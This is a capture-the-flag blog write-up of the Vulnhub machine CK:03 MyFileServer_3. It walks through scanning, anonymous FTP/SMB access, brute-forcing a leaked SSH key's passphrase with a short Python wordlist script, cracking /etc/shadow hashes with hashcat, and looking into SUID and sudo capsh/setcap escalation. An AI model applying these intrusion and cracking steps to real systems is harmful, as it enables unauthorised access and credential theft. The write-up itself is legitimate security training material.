Those Are The Guys!

Two guys who do stuff on twitch: /thosearetheguys

View on GitHub
20 April 2020

Vulnhub Ck03

by jake

This week we are taking a look at the vulnhub machine CK: 03 - MyFileServer_3. We chose this box because it was the latest released and likely didn’t have any writeups. It also mentions that there are multiple ways to both user and root, so hopefully we have enough time to look at them.

492765192.png

Stream / VOD

By default this machine is configured with the network adapter in Host-Only mode. This is fine if you are attacking it from your host machine, but we use a Kali VM. In order for the two to be able to see each other we need to change the setting to NAT.

This machine doesn’t give us it’s IP address when we run it, so we have to start off with a quick ping sweep to figure it out. We can do this with nmap and it is also surprisingly fast!

root@kali: nmap -sP 192.168.232.1-254
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-19 14:19 AEST
Nmap scan report for 192.168.232.1
Host is up (0.000090s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.232.2
Host is up (0.00016s latency).
MAC Address: 00:50:56:F1:93:59 (VMware)
Nmap scan report for 192.168.232.129
Host is up (0.00013s latency).
MAC Address: 00:0C:29:65:D5:18 (VMware)
Nmap scan report for 192.168.232.254
Host is up (0.00016s latency).
MAC Address: 00:50:56:E1:0D:D6 (VMware)
Nmap scan report for 192.168.232.132
Host is up.
Nmap done: 254 IP addresses (5 hosts up) scanned in 2.04 seconds

Our attacker machine is sitting on .132 meaning our target must be .129. We hit it with our standard nmap scan and see if we are correct:

root@kali: nmap -sC -sV -oN nmap 192.168.232.129
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-19 14:19 AEST
Nmap scan report for 192.168.232.129
Host is up (0.000094s latency).
Not shown: 992 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    3 0        0              16 Feb 19 07:48 pub [NSE: writeable]
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.232.132
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
22/tcp   open  ssh         OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 75:fa:37:d1:62:4a:15:87:7e:21:83:b9:2f:ff:04:93 (RSA)
|   256 b8:db:2c:ca:e2:70:c3:eb:9a:a8:cc:0e:a2:1c:68:6b (ECDSA)
|_  256 66:a3:1b:55:ca:c2:51:84:41:21:7f:77:40:45:d4:9f (ED25519)
80/tcp   open  http        Apache httpd 2.4.6 ((CentOS))
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS)
|_http-title: My File Server
111/tcp  open  rpcbind     2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100003  3,4         2049/udp   nfs
|   100003  3,4         2049/udp6  nfs
|   100005  1,2,3      20048/tcp   mountd
|   100005  1,2,3      20048/tcp6  mountd
|   100005  1,2,3      20048/udp   mountd
|   100005  1,2,3      20048/udp6  mountd
|   100021  1,3,4      34013/udp   nlockmgr
|   100021  1,3,4      48317/tcp6  nlockmgr
|   100021  1,3,4      50582/udp6  nlockmgr
|   100021  1,3,4      58202/tcp   nlockmgr
|   100024  1          42698/tcp   status
|   100024  1          48602/udp6  status
|   100024  1          50354/udp   status
|   100024  1          57602/tcp6  status
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAMBA)
445/tcp  open  netbios-ssn Samba smbd 4.9.1 (workgroup: SAMBA)
2049/tcp open  nfs_acl     3 (RPC #100227)
2121/tcp open  ftp         ProFTPD 1.3.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx   3 root     root           16 Feb 19 07:48 pub [NSE: writeable]
MAC Address: 00:0C:29:65:D5:18 (VMware)
Service Info: Host: FILESERVER; OS: Unix

Host script results:
|_clock-skew: mean: 8h09m59s, deviation: 3h10m30s, median: 9h59m57s
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.9.1)
|   Computer name: localhost
|   NetBIOS computer name: FILESERVER\x00
|   Domain name: \x00
|   FQDN: localhost
|_  System time: 2020-04-19T19:50:02+05:30
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-04-19T14:20:02
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.02 seconds

That looks a lot like what we expect to see. Time to work our way through the list.

Nmap tells us that we have anonymous access to the FTP as well as full control over the “pub” folder:

21/tcp   open  ftp         vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    3 0        0              16 Feb 19 07:48 pub [NSE: writeable]

Lets connect and see what else might be on there..

root@kali: ftp -p 192.168.232.129
Connected to 192.168.232.129.
220 (vsFTPd 3.0.2)
Name (192.168.232.129:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
227 Entering Passive Mode (192,168,232,129,20,77).
150 Here comes the directory listing.
drwxr-xr-x    3 0        0              16 Feb 18 11:31 .
drwxr-xr-x    3 0        0              16 Feb 18 11:31 ..
drwxrwxrwx    3 0        0              16 Feb 19 07:48 pub
226 Directory send OK.
ftp> cd pub
250 Directory successfully changed.
ftp> ls -la
227 Entering Passive Mode (192,168,232,129,20,33).
150 Here comes the directory listing.
drwxrwxrwx    3 0        0              16 Feb 19 07:48 .
drwxr-xr-x    3 0        0              16 Feb 18 11:31 ..
drwxr-xr-x    9 0        0            4096 Feb 19 07:48 log
226 Directory send OK.
tp> cd log
250 Directory successfully changed.
ftp> ls -la
227 Entering Passive Mode (192,168,232,129,20,109).
150 Here comes the directory listing.
drwxr-xr-x    9 0        0            4096 Feb 19 07:48 .
drwxrwxrwx    3 0        0              16 Feb 19 07:48 ..
drwxr-xr-x    2 0        0            4096 Feb 19 07:48 anaconda
drwxr-x---    2 0        0              22 Feb 19 07:48 audit
-rw-r--r--    1 0        0            7033 Feb 19 07:48 boot.log
-rw-------    1 0        0           10752 Feb 19 07:48 btmp
-rw-r--r--    1 0        0            9161 Feb 19 07:48 cron
-rw-r--r--    1 0        0           31971 Feb 19 07:48 dmesg
-rw-r--r--    1 0        0           31971 Feb 19 07:48 dmesg.old
drwxr-xr-x    2 0        0               6 Feb 19 07:48 glusterfs
drwx------    2 0        0              39 Feb 19 07:48 httpd
-rw-r--r--    1 0        0          292584 Feb 19 07:48 lastlog
-rw-------    1 0        0            3764 Feb 19 07:48 maillog
-rw-------    1 0        0         1423423 Feb 19 07:48 messages
drwx------    2 0        0               6 Feb 19 07:48 ppp
drwx------    4 0        0              43 Feb 19 07:48 samba
-rw-------    1 0        0           63142 Feb 19 07:48 secure
-rw-------    1 0        0               0 Feb 19 07:48 spooler
-rw-------    1 0        0               0 Feb 19 07:48 tallylog
drwxr-xr-x    2 0        0              22 Feb 19 07:48 tuned
-rw-r--r--    1 0        0           58752 Feb 19 07:48 wtmp
-rw-------    1 0        0             100 Feb 19 07:48 xferlog
-rw-------    1 0        0           18076 Feb 19 07:48 yum.log
226 Directory send OK.

We have a log directory. We don’t have a lot of permissions here, so we get all the files we can.

root@kali: ls -la
total 472
drwxr-xr-x 2 root root   4096 Apr 19 14:30 .
drwxr-xr-x 3 root root   4096 Apr 19 14:26 ..
-rw-r--r-- 1 root root   7033 Apr 19 14:27 boot.log
-rw-r--r-- 1 root root   9161 Apr 19 14:28 cron
-rw-r--r-- 1 root root  31971 Apr 19 14:28 dmesg
-rw-r--r-- 1 root root  31971 Apr 19 14:28 dmesg.old
-rw-r--r-- 1 root root 292584 Apr 19 14:29 lastlog
-rw-r--r-- 1 root root  29190 Apr 19 14:29 tuned.log
-rw-r--r-- 1 root root  58752 Apr 19 14:29 wtmp

Looking through these files we are able to determine that that machine is running the linux kernel 3.10.0-229.el7.x86_64. We also note that there have been two logins one from the root user and one from an smbuser. (We found these in the wtmp file)

Continuing down the list, we will have to come back to port 22 once we have something useful to SSH.

80 hosts a website so we navigate to that:

492765207.png

Pretty straight forward static HTML site with nothing interesting. We still run a gobuster to be sure:

root@kali:gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 150 -u http://192.168.232.129/ -x html,txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://192.168.232.129/
[+] Threads:        150
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     html,txt
[+] Timeout:        10s
===============================================================
2020/04/19 14:45:20 Starting gobuster
===============================================================
/index.html (Status: 200)
===============================================================
2020/04/19 14:46:41 Finished                                                                                                                                     
===============================================================

NOTE: Trying a few different wordlists we find that there is a .ssh directory that also contains the id_rsa key

On port 111 we have RPCBIND. rpcbind is a port mapper, it is used to map other RPC services such as nfs, mountd etc to a corresponding port on the server. We see the mapping table in our nmap results. In our case we can see that NFS is on port 2049 and also that port 2049 is open to us externally.

111/tcp  open  rpcbind     2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100003  3,4         2049/udp   nfs
|   100003  3,4         2049/udp6  nfs
...
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
...
2049/tcp open  nfs_acl     3 (RPC #100227)

rpcbind is not directly exploitable, but we can enumerate the open port 2049 to see if there are any network shares we can mount. But for now let’s continue down the list

On ports 139 and 445 we have smb, another file share service. This is likely the best candidate for our smbuser we discovered earlier.

Doing some enumeration of the SMB service we see that we have a readable directory:

root@kali: smbmap -H 192.168.232.129
[+] IP: 192.168.232.129:445     Name: 192.168.232.129                                   
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        print$                                                  NO ACCESS       Printer Drivers
        smbdata                                                 READ, WRITE     smbdata
        smbuser                                                 NO ACCESS       smbuser
        IPC$                                                    NO ACCESS       IPC Service (Samba 4.9.1)

Whenever we have SMB open we should always try to connect with a null session. Trying to connect with a null session we also can see that we have a massive range of commands we can run on the server:

root@kali: rpcclient -U "" -N 192.168.232.129   
rpcclient $> ?
---------------         ----------------------
        CLUSAPI
clusapi_open_cluster            bla
clusapi_get_cluster_name                bla
clusapi_get_cluster_version             bla
clusapi_get_quorum_resource             bla
clusapi_create_enum             bla
clusapi_create_enumex           bla
clusapi_open_resource           bla
clusapi_online_resource         bla
clusapi_offline_resource                bla
clusapi_get_resource_state              bla
clusapi_get_cluster_version2            bla
---------------         ----------------------
        WITNESS
GetInterfaceList
       Register
     UnRegister
    AsyncNotify
     RegisterEx
---------------         ----------------------
          FSRVP
fss_is_path_sup         Check whether a share supports shadow-copy requests

...

lsasettrustdominfo              Set LSA trusted domain info
    getusername         Get username
   createsecret         Create Secret
   deletesecret         Delete Secret
    querysecret         Query Secret
      setsecret         Set Secret
retrieveprivatedata             Retrieve Private Data
storeprivatedata                Store Private Data
 createtrustdom         Create Trusted Domain
 deletetrustdom         Delete Trusted Domain
---------------         ----------------------
GENERAL OPTIONS
           help         Get help on commands
              ?         Get help on commands
     debuglevel         Set debug level
          debug         Set debug level
           list         List available commands on <pipe>
           exit         Exit program
           quit         Exit program
           sign         Force RPC pipe connections to be signed
           seal         Force RPC pipe connections to be sealed
         packet         Force RPC pipe connections with packet authentication level
       schannel         Force RPC pipe connections to be sealed with 'schannel'. Assumes valid machine account to this domain controller.
   schannelsign         Force RPC pipe connections to be signed (not sealed) with 'schannel'.  Assumes valid machine account to this domain controller.
        timeout         Set timeout (in milliseconds) for RPC operations
      transport         Choose ncacn transport for RPC operations
           none         Force RPC pipe connections to have no special properties

-U "" is saying to use an empty username and -N is to use no password.

Some useful commands help us enumerate further and find more information about the server and users:

rpcclient $> srvinfo
        FILESERVER     Wk Sv PrQ Unx NT SNT Samba 4.9.1
        platform_id     :       500
        os version      :       6.1
        server type     :       0x809a03
rpcclient $> enumdomusers
user:[smbuser] rid:[0x3e8]
rpcclient $> enumalsgroups domain
rpcclient $> enumalsgroups builtin
rpcclient $> lookupnames smbuser
smbuser S-1-5-21-1584567012-685468033-1030942069-1000 (User: 1)
rpcclient $> queryuser 1000
        User Name   :   smbuser
        Full Name   :
        Home Drive  :   \\fileserver\smbuser
        Dir Drive   :
        Profile Path:   \\fileserver\smbuser\profile
        Logon Script:
        Description :
        Workstations:
        Comment     :
        Remote Dial :
        Logon Time               :      Thu, 01 Jan 1970 10:00:00 AEST
        Logoff Time              :      Thu, 07 Feb 2036 01:06:39 AEST
        Kickoff Time             :      Thu, 07 Feb 2036 01:06:39 AEST
        Password last set Time   :      Tue, 18 Feb 2020 21:47:37 AEST
        Password can change Time :      Tue, 18 Feb 2020 21:47:37 AEST
        Password must change Time:      Thu, 14 Sep 30828 12:48:05 AEST
        unknown_2[0..31]...
        user_rid :      0x3e8
        group_rid:      0x201
        acb_info :      0x00000010
        fields_present: 0x00ffffff
        logon_divs:     168
        bad_password_count:     0x00000000
        logon_count:    0x00000000
        padding1[0..7]...
        logon_hrs[0..21]...

Shame. Looks like there is only the smbuser. Oh well. Keep enumerating, but there is nothing too interesting. The next step is to try and connect to the share and see whats going on.

We can connect anonymously in a similar way to FTP by using smbclient:

root@kali: mkdir smbdata && cd smbdata
root@kali smbdata: smbclient \\\\192.168.232.129\\smbdata -N
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Tue Apr 21 01:03:55 2020
  ..                                  D        0  Tue Feb 18 21:47:54 2020
  anaconda                            D        0  Tue Feb 18 21:48:15 2020
  audit                               D        0  Tue Feb 18 21:48:15 2020
  boot.log                            N     6120  Tue Feb 18 21:48:16 2020
  btmp                                N      384  Tue Feb 18 21:48:16 2020
  cron                                N     4813  Tue Feb 18 21:48:16 2020
  dmesg                               N    31389  Tue Feb 18 21:48:16 2020
  dmesg.old                           N    31389  Tue Feb 18 21:48:16 2020
  glusterfs                           D        0  Tue Feb 18 21:48:16 2020
  lastlog                             N   292292  Tue Feb 18 21:48:16 2020
  maillog                             N     1982  Tue Feb 18 21:48:16 2020
  messages                            N   684379  Tue Feb 18 21:48:17 2020
  ppp                                 D        0  Tue Feb 18 21:48:17 2020
  samba                               D        0  Tue Feb 18 21:48:17 2020
  secure                              N    11937  Tue Feb 18 21:48:17 2020
  spooler                             N        0  Tue Feb 18 21:48:17 2020
  tallylog                            N        0  Tue Feb 18 21:48:17 2020
  tuned                               D        0  Tue Feb 18 21:48:17 2020
  wtmp                                N    25728  Tue Feb 18 21:48:17 2020
  xferlog                             N      100  Tue Feb 18 21:48:17 2020
  yum.log                             N    10915  Tue Feb 18 21:48:17 2020
  sshd_config                         N     3906  Wed Feb 19 17:46:38 2020
  todo                                N      162  Wed Feb 26 00:22:29 2020
  id_rsa                              N     1766  Thu Mar 19 14:43:16 2020
  note.txt                            N      128  Thu Mar 19 14:53:12 2020

                19976192 blocks of size 1024. 18164892 blocks available
smb: \>

All we are doing here is using the smbclient to connect to the known share and the -N flag tells smbclient to connect anonymously. (the same way we manually type user: anonymous and no password with FTP).

What is interesting here is that it looks like we are in the same folder our FTP was in.. But this time there are more files being listed. What this probably means is that the SMB service runs as a user with higher permissions than FTP does, so we are seeing files that only (presumably smbuser) has access to. Notably for us are files such as id_rsa and sshd_config etc. Pull those off locally and see what they contain:

smb: \> get id_rsa
getting file \id_rsa of size 1766 as id_rsa (431.1 KiloBytes/sec) (average 431.2 KiloBytes/sec)
smb: \> get sshd_config
getting file \sshd_config of size 3906 as sshd_config (1271.4 KiloBytes/sec) (average 791.3 KiloBytes/sec)
smb: \> get todo
getting file \todo of size 162 as todo (52.7 KiloBytes/sec) (average 569.7 KiloBytes/sec)
smb: \> get note.txt
getting file \note.txt of size 128 as note.txt (41.7 KiloBytes/sec) (average 447.9 KiloBytes/sec)

Reading the contents we find something interesting in note.txt:

root@kali /smbdata: cat note.txt 
I removed find command for security purpose, But don't want to delete 'getcap'.

I don't think 'getcap & capsh' known to anyone

Sounds like a good privesc candidate!

The ssh_config tells us that root is allowed to log in with ssh, and also that password auth is disabled, so we must use a private key. Lucky for us, id_rsa is a common / default name for a private ssh key. The suspense is killing us, time to read it:

root@kali /smbdata:cat id_rsa     
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,0111C403C183156C592743C68EA855BD

TRNiuBMH2lIgWgYpBb4MgbhQtW84gdUTJDRQLp/qwBv/KTbycWu+R07J2lGEFJH8
8G1nZ+bjnPayjTyywY5PGySQ4k5pWvmNin16TEAII7XO6Jv+/Ev/N4sPdKe7K3bN
TpJ39S5DVuj4oTTswvUp3dYU6ynu3Qp9PBRdBJnazbK5hwkxOyqa5l1dCfRDpaWf
hPM+GhXbHOvzj+Z9wvlrTuPASsBrCnXd/MAxRmNfDMCHlPHVATEChoP89awwoti5
itxcxqIWGIqilnlm7Dcy2lynE7LlXdXyJAnUI0Plra9PTqC4QoJL3Lyesypzp9Xk
kB9Hv25vherfgjy6AKBcIqZuALtFL2mij7nYC21XxcDudKCaB+UxOQhGBLNN0E16
7bNvnKebLmhyWhDNVaelvF9cd+mxvvPzv5ljhUd3jvhhyU70AgzrpF1ZUxVh2GOs
huzbtCIwX3I+xAQYdw+sThTRG8GcXLjreEUF4gJqlPNWk9gxH/AmfTmGKdLhhoSb
/7wHeMvLwSRaVv6fyPXhPpiB5c3MHCoHFYi6sbmmtYXJBum9fF9iubIzlRu/4vZ2
irmnsEff3vkqqPchb6M0zMtw80QPJgpjhclJjDPiI5P1DWjgLNYOQba0nKNQ3RFa
iy2lup+EsCqWU0KTI+hH+Xm0YAq2/ESqPeNp/U+78y8L5JkpavRYNJyx+vGV8XPP
dGkZD8x68xLIwF6/urZC6utRa1HgyEDIcUbyTUnbRkLUFWbN9eHLrY0pH+zhKJOj
14cUAOpB9RkxAoE6YJ03vJq72OoxfCYhiv3fj4pQRuQJwA2c8IfgdwIJqBIMVPvV
5HX3j5ugkyocLl5Rg+oXjyhNczmABJehk9gA0eCcfQpXGPw/OBMJ4BJdUHxbCOtQ
lAstu+fNBosFhkj3lHXX/ZNIKcYs9+Mvs3E2DvmcK7Us/59qsCwHRZNvd2E3EF9r
nNuHg8sY5HxMvMNH46PH8c4EesuNvOW2pvaCHCT5Id3Up1yyP09hoxyyovnPQ/Gj
HXffEjkc82t9Ip476mfo0NBzB4g7sOb4ZXhG8RxHS4d83S5bITzHP8RrlmkdKCjH
U5YMap/xQ++4XTtgX8DjVoZw1imRtNsCQk6fe0UVKzg2nFV8rkOU8A1o6NDcjE/Z
V/PsYJT3CTEvlzq1/4lLQN2nLrpwmlu+Ate5CEmKxqDIpSIzQBl5N4cU5aa/L1XG
2nFA4H1Ipo7CaUQZ3lQGC/wHaWcP0KnZQ/SrInGOQVu1RJe3MhyG3TyC06FVfmgV
m4oqf39lGQlYX8+cTCK8w6nI6gnSsW92U9j5s9iGEZKN2bI1poyurQaExFiDub6m
QzYWqY1+EUBUYzFMlR08TeHXLvoAmgJNcnZlhXuhWsl6z95UMKvRBLN3Dc4kIVZx
sBZmlYhqhwl0AWYQOl1tJrOMiqLeMhF+xWZ3J/iZ9Pj37Dz9xL8YiA8YUNC/NqT+
3j1s3USXPL0uyxS7tnJJf3aXMBi0XwwHWZg4ii8JQhGiiPhGBE9lpRyPhYCx3xDC
ED/GW22/sWS5fhDr4tynP8VdjiFwbBEcXYHa84XjeUZZaLJQTSwnE/afWVYty8AX
-----END RSA PRIVATE KEY-----

Damn! Encrypted. That’s ok. We can try a dictionary attack against the key and see if we can get the password.

Now we could always use ssh2john and then pass it over to JohnTheRipper, but instead we are going to roll our own basic python script:

root@kali: cat rsa_decrypt.py
import asyncssh  # pip install asyncssh (https://asyncssh.readthedocs.io/en/latest/api.html)

enc_file = "id_rsa FILE LICATION"
word_list = "/usr/share/seclists/Passwords/Common-Credentials/best110.txt" # Wordlist file

# Open the dictionary and loop line by line testing the password against the key
# if the private key is exported the password worked.
with open(word_list) as f:
    for line in f:
        try:
            key = asyncssh.read_private_key(enc_file, str(line.strip()))
            if key and line:
                print("Decrypted '{0}' with: {1}".format(enc_file, line))
        except Exception as ex:
            next

This script could use a lot of work to become more useful and reusable, but it was a quick and dirty and gets the job done. When we run it we can see that they used a very simple password:

root@kali: python rsa_decrypt.py
Decrypted '/root/vulnhub/ck3/smb/smbdata/id_rsa' with: password

Now we should be able to ssh into the box!

First we need to set the right permissions on the id_rsa file:

root@kali /smbdata: chmod 600 id_rsa
root@kali /smbdata: ssh -i id_rsa smbuser@192.168.232.129

   ##############################################################################################
   #                                      InfoSec Warrior                                       #
   #                         --------- www.InfoSecWarrior.com ------------                      #
   #                                    My File Server - 3                                      #
   #                        Just a simple addition to the problem                               #
   #                               Designed By :- CyberKnight                                   #
   #                                Twitter    :- @CyberKnight00                                #
   ##############################################################################################

Enter passphrase for key 'smb/smbdata/id_rsa': password
Last login: Thu Mar 19 10:15:35 2020 from 192.168.56.1
[smbuser@fileserver ~]$ 

When prompted enter the super secure password ‘password’ and we are in!

From our first command we notice straight away that there is a SUID binary owned by root in our home directory:

smbuser@fileserver ~]$ ls -la
total 28
drwx---r-x  3 smbuser smbuser  102 Mar 19 10:22 .
drwxr-xr-x. 4 root    root      30 Feb 25 16:21 ..
-rw-------  1 smbuser smbuser  103 Mar 19 10:22 .bash_history
-rw-r--r--  1 smbuser smbuser   18 Mar  6  2015 .bash_logout
-rw-r--r--  1 smbuser smbuser  193 Mar  6  2015 .bash_profile
-rw-r--r--  1 smbuser smbuser  231 Mar  6  2015 .bashrc
-rwsr-xr-x  1 root    root    8851 Feb 27 00:22 runme
drwx------  2 smbuser smbuser   58 Feb 25 15:43 .ssh

We use SCP to grab a local copy of the file and do some enumeration and reversing of it.

root@kali /smbdata: scp -i id_rsa smbuser@192.168.232.129:/home/smbuser/runme ~/vulnhub/ck3

Running ltrace we notice that it calls the function fgets():

root@kali /smbdata: ltrace ./runme
__libc_start_main(0x40070e, 1, 0x7fffe0db8fe8, 0x400750 <unfinished ...>
fgets(/etc/passwd
"/etc/passwd\n", 40, 0x7fb408d15a00)                                                         = 0x7fffe0db8ed0
puts("Why are you here ?!"Why are you here ?!
)                                                                        = 20
+++ exited (status 20) +++

strings shows something interesting that it looks like it has code to call a flag:

root@kali /smbdata: strings runme                                                                      
/lib64/ld-linux-x86-64.so.2
libc.so.6
puts
setreuid
stdin
fgets
system
geteuid
__libc_start_main
__gmon_start__
GLIBC_2.2.5
UH-X
UH-X
[]A\A]A^A_
/bin/sh
/bin/cat /home/bla/user.txt
Why are you here ?!
;*3$"
GCC: (GNU) 4.8.5 20150623 (Red Hat 4.8.5-39)

It’s time to dive deeper and see what we might need to send as input to make it cat the user.txt. To do this we use ghidra:

492830781.png

The main() function is very simple. local_10 is hard-coded to be “wrong” and is then called once the fgets recieves our user input. 0x28 is 40 in decimal, so it looks like the fgets is storing the user input correctly and this will not be overflowable.

Looking at the functions, we can see that there is a wrong() and a flag() function. There is also a function called right() which calls /bin/sh:

void right(void)
{
  __uid_t __euid;
  __uid_t __ruid;

  __euid = geteuid();
  __ruid = geteuid();
  setreuid(__ruid,__euid);
  system("/bin/sh");
  return;
}

We don’t have permissions to patch and overwrite the file and the fgets function is not overflowable, so we didn’t spend too much more time on this incase it was a rabbit hole. The machine description mentions that there are many ways into this box, so being lazy, we go looking for an easier route. We will hopefully come back to this binary later.

Because the note.txt mentioned that we don’t have find or locate we enlist the help of LinEnum.sh to help speed up our local enumeration.This script automates a bunch of checks we would normally perform manually:

root@kali /smbdata: scp -i id_rsa /usr/share/webhandler/modules/escalation/LinEnum.sh smbuser@192.168.232.129:/home/smbuser 

Once that has copied over we can run it:

[smbuser@fileserver ~]$ chmod +x LinEnum.sh
[smbuser@fileserver ~]$ ./LinEnum.sh > LinEnum.log

Combing through the results we can see that we have read access to the shadow file and therfore all user hashes:

[+] We can read the shadow file!
root:$6$zWU8uYN5$iHT030gilg9kM1iYCZt/z3q4fWpSNHwwLElFWof/C3MfbqgmbWAnG5sXFEdkMj60MLvYc6HEB7/REq2u2aVVh0:18317:0:99999:7:::
bin:*:16372:0:99999:7:::
daemon:*:16372:0:99999:7:::
adm:*:16372:0:99999:7:::
lp:*:16372:0:99999:7:::
sync:*:16372:0:99999:7:::
shutdown:*:16372:0:99999:7:::
halt:*:16372:0:99999:7:::
mail:*:16372:0:99999:7:::
operator:*:16372:0:99999:7:::
games:*:16372:0:99999:7:::
ftp:*:16372:0:99999:7:::
nobody:*:16372:0:99999:7:::
avahi-autoipd:!!:18310::::::
dbus:!!:18310::::::
polkitd:!!:18310::::::
tss:!!:18310::::::
postfix:!!:18310::::::
sshd:!!:18310::::::
systemd-network:!!:18310::::::
gluster:!!:18310::::::
smbuser:$6$ePvCCtcG$mAQFQldd7/k25o51NK2gkccL24r7DzhrqZGTyjoLlhOCKb060BuB/X6Qlc7noUv61K9NXtaPeWnYRlLWigBfF1:18317:0:99999:7:::
rpc:!!:18311:0:99999:7:::
tcpdump:!!:18311::::::
rpcuser:!!:18311::::::
nfsnobody:!!:18311::::::
apache:!!:18311::::::
bla:$6$ENV.HdIK$huk85ZxIDwa7jK8W1i0cfV/s67QDyYFaEHVrrpKjYesEJXAiaTo4jtNvfmKD4y1ULhub6gahOVIBaXxcpgm0n.:18317:0:99999:7:::

NOTE: As an alternate path, LinEnum also finds /usr/bin/elevate which is a similar SUID binary to the bla user.

moving out of our VM for a second, we head over to Hashcat to crack the shadow hashes:

hashcat64.exe -m 1800 ck3 rockyou.txt

-m 1800 is the Linux sha512crypt $6$, SHA512 (Unix) mode.

We quickly get the smbuser as expected to be “password”.

Eventually, our results are in:

smbuser - $6$ePvCCtcG$mAQFQldd7/k25o51NK2gkccL24r7DzhrqZGTyjoLlhOCKb060BuB/X6Qlc7noUv61K9NXtaPeWnYRlLWigBfF1:password
bla - $6$ENV.HdIK$huk85ZxIDwa7jK8W1i0cfV/s67QDyYFaEHVrrpKjYesEJXAiaTo4jtNvfmKD4y1ULhub6gahOVIBaXxcpgm0n.:itiseasy
root - $6$zWU8uYN5$iHT030gilg9kM1iYCZt/z3q4fWpSNHwwLElFWof/C3MfbqgmbWAnG5sXFEdkMj60MLvYc6HEB7/REq2u2aVVh0:infosec

Path #1 - We can use su to go directly to root with the cracked password.

Using the bla password, we can access the user flag:

[smbuser@fileserver ~]$  su bla
Password: 
[bla@fileserver smbuser]$ cd ~
[bla@fileserver ~]$ ls -la
total 40
drwx------  2 bla  bla    121 Feb 27 00:29 .
drwxr-xr-x. 4 root root    30 Feb 25 16:21 ..
lrwxrwxrwx  1 bla  bla      9 Feb 25 19:57 .bash_history -> /dev/null
-rw-r--r--  1 bla  bla     18 Mar  6  2015 .bash_logout
-rw-r--r--  1 bla  bla    193 Mar  6  2015 .bash_profile
-rw-r--r--  1 bla  bla    231 Mar  6  2015 .bashrc
-rw-rw-r--  1 bla  bla    516 Feb 27 00:29 user.txt
-rw-------  1 bla  bla    731 Feb 26 23:36 .viminfo
-rwxr-xr-x  1 root root 18744 Feb 25 16:22 ynetd
[bla@fileserver ~]$ cat user.txt


  _____ _ _      ____                                     _____ 
 |  ___(_) | ___/ ___|  ___ _ ____   _____ _ __          |___ / 
 | |_  | | |/ _ \___ \ / _ \ '__\ \ / / _ \ '__|  _____    |_ \ 
 |  _| | | |  __/___) |  __/ |   \ V /  __/ |    |_____|  ___) |
 |_|   |_|_|\___|____/ \___|_|    \_/ \___|_|            |____/ 
                                                                


Flag : 0aab4a2c6d75db7ca2542e0dacc3a30f

you can crack this hash, because it is also my pasword

note: crack it, itiseasy

The flag is just the users password “itiseasy” as an MD5.

While we waited for the root password to crack we took a poke around as bla. As we do with our standard local enumeration we test if we have any sudo permissions:

[bla@fileserver smbuser]$ sudo -l
Matching Defaults entries for bla on this host:
    requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR
    USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER
    LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User bla may run the following commands on this host:
    (ALL) NOPASSWD: /usr/sbin/capsh, (ALL) /usr/sbin/setcap

it has sudo permissions to capsh and setcap which leads back to the note.txt file from earlier.

